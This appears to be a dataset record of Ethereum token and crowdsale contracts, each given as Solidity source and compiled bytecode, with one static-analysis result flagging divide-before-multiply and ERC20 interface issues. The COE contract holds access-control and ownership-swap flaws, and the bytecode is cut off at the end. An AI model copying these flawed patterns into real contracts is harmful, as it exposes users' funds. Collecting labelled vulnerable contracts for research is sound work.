require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be sent
uint256 tokens = (weiAmount/10**(18-decimals)) * price; //weiamount * price
// update state
weiRaised = weiRaised.add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
owner.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = started;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function withdrawTokens(uint256 _amount) onlyOwner public {
tokenReward.transfer(owner,_amount);
}
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461013d578063095ea7b3146101c757806318160ddd146102145780631f2698ab1461023b57806323b872dd14610250578063313ce56714610293578063315a095d146102a8578063378dc3dc146102d25780634042b66f146102e757806342966c68146102fc578063661884631461032657806370a082311461035f5780638da5cb5b1461039257806391b7f5ed146103c357806395d89b41146103ed578063a035b1fe14610402578063a9059cbb14610417578063b66a0e5d14610450578063d73dd62314610465578063dd62ed3e1461049e578063e36b0b37146104d9578063ec8ac4d8146104ee578063f2fde38b14610514575b61013b33610547565b005b34801561014957600080fd5b50610152610668565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018c578181015183820152602001610174565b50505050905090810190601f1680156101b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d357600080fd5b50610200600480360360408110156101ea57600080fd5b50600160a060020a03813516906020013561069f565b604080519115158252519081900360200190f35b34801561022057600080fd5b50610229610716565b60408051918252519081900360200190f35b34801561024757600080fd5b5061020061071c565b34801561025c57600080fd5b506102006004803603606081101561027357600080fd5b50600160a060020a03813581169160208101359091169060400135610725565b34801561029f57600080fd5b50610229610853565b3480156102b457600080fd5b5061013b600480360360208110156102cb57600080fd5b5035610858565b3480156102de57600080fd5b506102296108fb565b3480156102f357600080fd5b5061022961090a565b34801561030857600080fd5b5061013b6004803603602081101561031f57600080fd5b5035610910565b34801561033257600080fd5b506102006004803603604081101561034957600080fd5b50600160a060020a038135169060200135610a0d565b34801561036b57600080fd5b506102296004803603602081101561038257600080fd5b5035600160a060020a0316610b0d565b34801561039e57600080fd5b506103a7610b28565b60408051600160a060020a039092168252519081900360200190f35b3480156103cf57600080fd5b5061013b600480360360208110156103e657600080fd5b5035610b37565b3480156103f957600080fd5b50610152610b53565b34801561040e57600080fd5b50610229610b8a565b34801561042357600080fd5b506102006004803603604081101561043a57600080fd5b50600160a060020a038135169060200135610b90565b34801561045c57600080fd5b5061013b610c65565b34801561047157600080fd5b506102006004803603604081101561048857600080fd5b50600160a060020a038135169060200135610c8b565b3480156104aa57600080fd5b50610229600480360360408110156104c157600080fd5b50600160a060020a0381358116916020013516610d34565b3480156104e557600080fd5b5061013b610d5f565b61013b6004803603602081101561050457600080fd5b5035600160a060020a0316610547565b34801561052057600080fd5b5061013b6004803603602081101561053757600080fd5b5035600160a060020a0316610d82565b600160a060020a038116151561055c57600080fd5b610564610e17565b151561056f57600080fd5b600454600654349182029061058a908363ffffffff610e3416565b600655600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018590529151919092169163a9059cbb91604480830192600092919082900301818387803b1580156105fb57600080fd5b505af115801561060f573d6000803e3d6000fd5b505060408051858152602081018590528151600160a060020a03881694503393507f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929181900390910190a3610663610e4a565b505050565b60408051808201909152600c81527f4249545349465520434f494e0000000000000000000000000000000000000000602082015281565b6000600260443610156106ae57fe5b336000818152600260209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60005481565b60075460ff1681565b60006003606436101561073457fe5b600160a060020a038416151561074957600080fd5b600160a060020a03851660008181526002602090815260408083203384528252808320549383526001909152902054610788908563ffffffff610e8616565b600160a060020a0380881660009081526001602052604080822093909355908716815220546107bd908563ffffffff610e3416565b600160a060020a0386166000908152600160205260409020556107e6818563ffffffff610e8616565b600160a060020a03808816600081815260026020908152604080832033845282529182902094909455805188815290519289169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600195945050505050565b601281565b600354600160a060020a0316331461086f57600080fd5b600554600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018590529051919092169163a9059cbb91604480830192600092919082900301818387803b1580156108e057600080fd5b505af11580156108f4573d6000803e3d6000fd5b5050505050565b6a295be96e6406697200000081565b60065481565b6000811161091d57600080fd5b3360009081526001602052604090205481111561093957600080fd5b33600081815260016020526040902054610959908363ffffffff610e8616565b600160a060020a03821660009081526001602052604081209190915554610986908363ffffffff610e8616565b600055604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600060026044361015610a1c57fe5b336000908152600260209081526040808320600160a060020a038816845290915290205480841115610a7157336000908152600260209081526040808320600160a060020a0389168452909152812055610aa6565b610a81818563ffffffff610e8616565b336000908152600260209081526040808320600160a060020a038a1684529091529020555b336000818152600260209081526040808320600160a060020a038a168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3506001949350505050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b600354600160a060020a03163314610b4e57600080fd5b600455565b60408051808201909152600381527f4253460000000000000000000000000000000000000000000000000000000000602082015281565b60045481565b600060026044361015610b9f57fe5b600160a060020a0384161515610bb457600080fd5b33600090815260016020526040902054610bd4908463ffffffff610e8616565b3360009081526001602052604080822092909255600160a060020a03861681522054610c06908463ffffffff610e3416565b600160a060020a0385166000818152600160209081526040918290209390935580518681529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b600354600160a060020a03163314610c7c57600080fd5b6007805460ff19166001179055565b600060026044361015610c9a57fe5b336000908152600260209081526040808320600160a060020a0388168452909152902054610cce908463ffffffff610e3416565b336000818152600260209081526040808320600160a060020a038a168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a35060019392505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610d7657600080fd5b6007805460ff19169055565b600354600160a060020a03163314610d9957600080fd5b600160a060020a0381161515610dae57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60075460009060ff16341515818015610e2d5750805b9250505090565b600082820183811015610e4357fe5b9392505050565b600354604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610e83573d6000803e3d6000fd5b50565b600082821115610e9257fe5b5090039056fea165627a7a723058206ddd8a1a7fa515a2a02e9fc30e63496c1b66ee2b33b5e587fdada5fc41095b080029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,780 |
0xc7F1c3500496771B2Ef4e17aD10624131adE5Cd9
|
pragma solidity ^0.4.21;
contract Partner {
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens);
}
contract COE {
string public name = "CoEval";
uint8 public decimals = 18;
string public symbol = "COE";
address public _owner;
address public _premine = 0x76D05E325973D7693Bb854ED258431aC7DBBeDc3;
address public _dev = 0xC96CfB18C39DC02FBa229B6EA698b1AD5576DF4c;
address public _devFeesAddr;
uint256 public _tokePerEth = 177000000000000000;
bool public _coldStorage = true;
bool public _receiveEth = true;
// fees vars - added for future extensibility purposes only
bool _feesEnabled = false;
bool _payFees = false;
uint256 _fees; // the calculation expects % * 100 (so 10% is 1000)
uint256 _lifeVal = 0;
uint256 _feeLimit = 0;
uint256 _devFees = 0;
uint256 public _totalSupply = 100000 * 1 ether;
uint256 public _circulatingSupply = 0;
uint256 public _frozenTokens = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Exchanged(address indexed _from, address indexed _to, uint _value);
// Storage
mapping (address => uint256) public balances;
// list of contract addresses that can request tokens
// use add/remove functions to update
mapping (address => bool) public exchangePartners;
// permitted exch partners and associated token rates
// rate is X target tokens per Y incoming so newTokens = Tokens/Rate
mapping (address => uint256) public exchangeRates;
function COE() {
_owner = msg.sender;
preMine();
}
function preMine() internal {
balances[_premine] = 32664750000000000000000;
Transfer(this, _premine, 32664750000000000000000);
_totalSupply = sub(_totalSupply, 32664750000000000000000);
_circulatingSupply = add(_circulatingSupply, 32664750000000000000000);
}
function transfer(address _to, uint _value, bytes _data) public {
// sender must have enough tokens to transfer
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
// WARNING: if you transfer tokens back to the contract you will lose them
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
// only allow transfer to exchange partner contracts - this is handled by another function
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
function transfer(address _to, uint _value) public {
/// sender must have enough tokens to transfer
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
// WARNING: if you transfer tokens back to the contract you will lose them
// use the exchange function to exchange for tokens with approved partner contracts
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength != 0) {
// only allow transfer to exchange partner contracts - this is handled by another function
exchange(_to, _value);
}
else {
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
}
function exchange(address _partner, uint _amount) internal {
require(exchangePartners[_partner]);
require(requestTokensFromOtherContract(_partner, this, msg.sender, _amount));
if(_coldStorage) {
// put the tokens from this contract into cold storage if we need to
// (NB: if these are in reality to be burnt, we just never defrost them)
_frozenTokens = add(_frozenTokens, _amount);
}
else {
// or return them to the available supply if not
_totalSupply = add(_totalSupply, _amount);
}
balances[msg.sender] = sub(balanceOf(msg.sender), _amount);
_circulatingSupply = sub(_circulatingSupply, _amount);
Exchanged(msg.sender, _partner, _amount);
Transfer(msg.sender, this, _amount);
}
// fallback to receive ETH into contract and send tokens back based on current exchange rate
function () payable public {
require((msg.value > 0) && (_receiveEth));
uint256 _tokens = div(mul(msg.value,_tokePerEth), 1 ether);
require(_totalSupply >= _tokens);//, "Insufficient tokens available at current exchange rate");
_totalSupply = sub(_totalSupply, _tokens);
balances[msg.sender] = add(balances[msg.sender], _tokens);
_circulatingSupply = add(_circulatingSupply, _tokens);
Transfer(this, msg.sender, _tokens);
_lifeVal = add(_lifeVal, msg.value);
if(_feesEnabled) {
if(!_payFees) {
// then check whether fees are due and set _payFees accordingly
if(_lifeVal >= _feeLimit) _payFees = true;
}
if(_payFees) {
_devFees = add(_devFees, ((msg.value * _fees) / 10000));
}
}
}
function requestTokensFromOtherContract(address _targetContract, address _sourceContract, address _recipient, uint256 _value) internal returns (bool){
Partner p = Partner(_targetContract);
p.exchangeTokensFromOtherContract(_sourceContract, _recipient, _value);
return true;
}
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens) {
require(exchangeRates[msg.sender] > 0);
uint256 _exchanged = mul(_RequestedTokens, exchangeRates[_source]);
require(_exchanged <= _totalSupply);
balances[_recipient] = add(balances[_recipient],_exchanged);
_totalSupply = sub(_totalSupply, _exchanged);
_circulatingSupply = add(_circulatingSupply, _exchanged);
Exchanged(_source, _recipient, _exchanged);
Transfer(this, _recipient, _exchanged);
}
function changePayRate(uint256 _newRate) public {
require(((msg.sender == _owner) || (msg.sender == _dev)) && (_newRate >= 0));
_tokePerEth = _newRate;
}
function safeWithdrawal(address _receiver, uint256 _value) public {
require((msg.sender == _owner));
uint256 valueAsEth = mul(_value,1 ether);
// if fees are enabled send the dev fees
if(_feesEnabled) {
if(_payFees) _devFeesAddr.transfer(_devFees);
_devFees = 0;
}
// check balance before transferring
require(valueAsEth <= this.balance);
_receiver.transfer(valueAsEth);
}
function balanceOf(address _receiver) public constant returns (uint balance) {
return balances[_receiver];
}
function changeOwner(address _receiver) public {
require(msg.sender == _owner);
_dev = _receiver;
}
function changeDev(address _receiver) public {
require(msg.sender == _dev);
_owner = _receiver;
}
function changeDevFeesAddr(address _receiver) public {
require(msg.sender == _dev);
_devFeesAddr = _receiver;
}
function toggleReceiveEth() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_receiveEth) {
_receiveEth = true;
}
else {
_receiveEth = false;
}
}
function toggleFreezeTokensFlag() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_coldStorage) {
_coldStorage = true;
}
else {
_coldStorage = false;
}
}
function defrostFrozenTokens() public {
require((msg.sender == _dev) || (msg.sender == _owner));
_totalSupply = add(_totalSupply, _frozenTokens);
_frozenTokens = 0;
}
function addExchangePartnerAddressAndRate(address _partner, uint256 _rate) {
require((msg.sender == _dev) || (msg.sender == _owner));
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
exchangeRates[_partner] = _rate;
}
function addExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = true;
}
function removeExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = false;
}
function canExchange(address _targetContract) public constant returns (bool) {
return exchangePartners[_targetContract];
}
function contractExchangeRate(address _exchangingContract) public constant returns (uint256) {
return exchangeRates[_exchangingContract];
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function getBalance() public constant returns (uint256) {
return this.balance;
}
function getLifeVal() public constant returns (uint256) {
require((msg.sender == _owner) || (msg.sender == _dev));
return _lifeVal;
}
function getCirculatingSupply() public constant returns (uint256) {
return _circulatingSupply;
}
function payFeesToggle() {
require((msg.sender == _dev) || (msg.sender == _owner));
if(_payFees) {
_payFees = false;
}
else {
_payFees = true;
}
}
// enables fee update - must be between 0 and 100 (%)
function updateFeeAmount(uint _newFee) public {
require((msg.sender == _dev) || (msg.sender == _owner));
require((_newFee >= 0) && (_newFee <= 100));
_fees = _newFee * 100;
}
function withdrawDevFees() public {
require(_payFees);
_devFeesAddr.transfer(_devFees);
_devFees = 0;
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
}
|
0x6080604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146103ff578063084794f81461048f57806308daaf4a146104e65780630a9a70c01461053d5780630da590d4146105805780630df3a3421461059757806312065fe0146105c657806318160ddd146105f157806327e235e31461061c5780632aeacd4a146106735780632b112e49146106e0578063313ce5671461070b5780633eaaf86b1461073c5780634e2133ba1461076757806353e1509c146107b45780636230ebda146107f7578063626ebe391461080e57806370a082311461082557806379e2bbea1461087c578063803287de146108a757806385c15d9a146108d257806388a8c95c146109295780639478f7cf1461096c57806395d89b411461099b5780639ea55bb014610a2b578063a253c06e14610a58578063a6f9dae114610a83578063a9059cbb14610ac6578063afbddfa914610b13578063b2bdfa7b14610b2a578063be45fd6214610b81578063c1d6036b14610c14578063c42edd6114610c6b578063d34dd1f014610c82578063d7be503f14610ccf578063da9c87fa14610cfa578063e77b077f14610d27578063e79ffa1114610d82578063ec2f568514610dd9578063f4ed216c14610e34575b6000803411801561020b5750600860019054906101000a900460ff165b151561021657600080fd5b61023361022534600754610e77565b670de0b6b3a7640000610ead565b905080600d541015151561024657600080fd5b610252600d5482610ec8565b600d819055506102a1601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610ee4565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102f0600e5482610ee4565b600e819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3610367600a5434610ee4565b600a81905550600860029054906101000a900460ff16156103fc57600860039054906101000a900460ff1615156103c257600b54600a541015156103c1576001600860036101000a81548160ff0219169083151502179055505b5b600860039054906101000a900460ff16156103fb576103f4600c5461271060095434028115156103ee57fe5b04610ee4565b600c819055505b5b50005b34801561040b57600080fd5b50610414610f05565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049b57600080fd5b506104a4610fa3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f257600080fd5b506104fb610fc9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054957600080fd5b5061057e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fef565b005b34801561058c57600080fd5b5061059561108f565b005b3480156105a357600080fd5b506105ac61111f565b604051808215151515815260200191505060405180910390f35b3480156105d257600080fd5b506105db611132565b6040518082815260200191505060405180910390f35b3480156105fd57600080fd5b50610606611151565b6040518082815260200191505060405180910390f35b34801561062857600080fd5b5061065d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115b565b6040518082815260200191505060405180910390f35b34801561067f57600080fd5b506106de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611173565b005b3480156106ec57600080fd5b506106f561139e565b6040518082815260200191505060405180910390f35b34801561071757600080fd5b506107206113a8565b604051808260ff1660ff16815260200191505060405180910390f35b34801561074857600080fd5b506107516113bb565b6040518082815260200191505060405180910390f35b34801561077357600080fd5b506107b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c1565b005b3480156107c057600080fd5b506107f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d3565b005b34801561080357600080fd5b5061080c6115e2565b005b34801561081a57600080fd5b506108236116b4565b005b34801561083157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117bc565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b50610891611805565b6040518082815260200191505060405180910390f35b3480156108b357600080fd5b506108bc6118c3565b6040518082815260200191505060405180910390f35b3480156108de57600080fd5b50610913600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118c9565b6040518082815260200191505060405180910390f35b34801561093557600080fd5b5061096a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e1565b005b34801561097857600080fd5b50610981611981565b604051808215151515815260200191505060405180910390f35b3480156109a757600080fd5b506109b0611994565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f05780820151818401526020810190506109d5565b50505050905090810190601f168015610a1d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a3757600080fd5b50610a5660048036038101908080359060200190929190505050611a32565b005b348015610a6457600080fd5b50610a6d611b10565b6040518082815260200191505060405180910390f35b348015610a8f57600080fd5b50610ac4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b16565b005b348015610ad257600080fd5b50610b11600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bb6565b005b348015610b1f57600080fd5b50610b28611e75565b005b348015610b3657600080fd5b50610b3f611f7d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b8d57600080fd5b50610c12600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611fa3565b005b348015610c2057600080fd5b50610c55600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612263565b6040518082815260200191505060405180910390f35b348015610c7757600080fd5b50610c806122ac565b005b348015610c8e57600080fd5b50610ccd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123b3565b005b348015610cdb57600080fd5b50610ce4612536565b6040518082815260200191505060405180910390f35b348015610d0657600080fd5b50610d256004803603810190808035906020019092919050505061253c565b005b348015610d3357600080fd5b50610d68600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612607565b604051808215151515815260200191505060405180910390f35b348015610d8e57600080fd5b50610d9761265d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610de557600080fd5b50610e1a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612683565b604051808215151515815260200191505060405180910390f35b348015610e4057600080fd5b50610e75600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126a3565b005b60008082840290506000841480610e985750828482811515610e9557fe5b04145b1515610ea357600080fd5b8091505092915050565b6000808284811515610ebb57fe5b0490508091505092915050565b6000828211151515610ed957600080fd5b818303905092915050565b6000808284019050838110151515610efb57600080fd5b8091505092915050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f9b5780601f10610f7057610100808354040283529160200191610f9b565b820191906000526020600020905b815481529060010190602001808311610f7e57829003601f168201915b505050505081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104b57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860039054906101000a900460ff1615156110aa57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600c549081150290604051600060405180830381858888f19350505050158015611114573d6000803e3d6000fd5b506000600c81905550565b600860009054906101000a900460ff1681565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600d54905090565b60106020528060005260406000206000915090505481565b600080601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156111c257600080fd5b61120b82601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e77565b9050600d54811115151561121e57600080fd5b611267601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610ee4565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b6600d5482610ec8565b600d819055506112c8600e5482610ee4565b600e819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fbfe8a577be0467bcfe71ce2e21108360b107663d704696fa9c7b60c715365bb3836040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505050565b6000600e54905090565b600160009054906101000a900460ff1681565b600d5481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061146c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561147757600080fd5b823b905060008111151561148a57600080fd5b81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061157c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561158757600080fd5b6001601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061168b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561169657600080fd5b6116a4600d54600f54610ee4565b600d819055506000600f81905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061175d5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561176857600080fd5b600860019054906101000a900460ff16151561179e576001600860016101000a81548160ff0219169083151502179055506117ba565b6000600860016101000a81548160ff0219169083151502179055505b565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118b05750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156118bb57600080fd5b600a54905090565b600f5481565b60126020528060005260406000206000915090505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561193d57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860019054906101000a900460ff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a2a5780601f106119ff57610100808354040283529160200191611a2a565b820191906000526020600020905b815481529060010190602001808311611a0d57829003601f168201915b505050505081565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611adb5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611ae657600080fd5b60008110158015611af8575060648111155b1515611b0357600080fd5b6064810260098190555050565b600e5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b7257600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611c0657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d0b57611c46600d5483610ee4565b600d81905550611c5e611c58336117bc565b83610ec8565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3611e70565b823b9050600081141515611d2857611d2383836127b2565b611e6f565b611d3a611d34336117bc565b83610ec8565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc6601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610ee4565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b5b505050565b600560009054906101000a900473ffffffffffffffffffffffffffff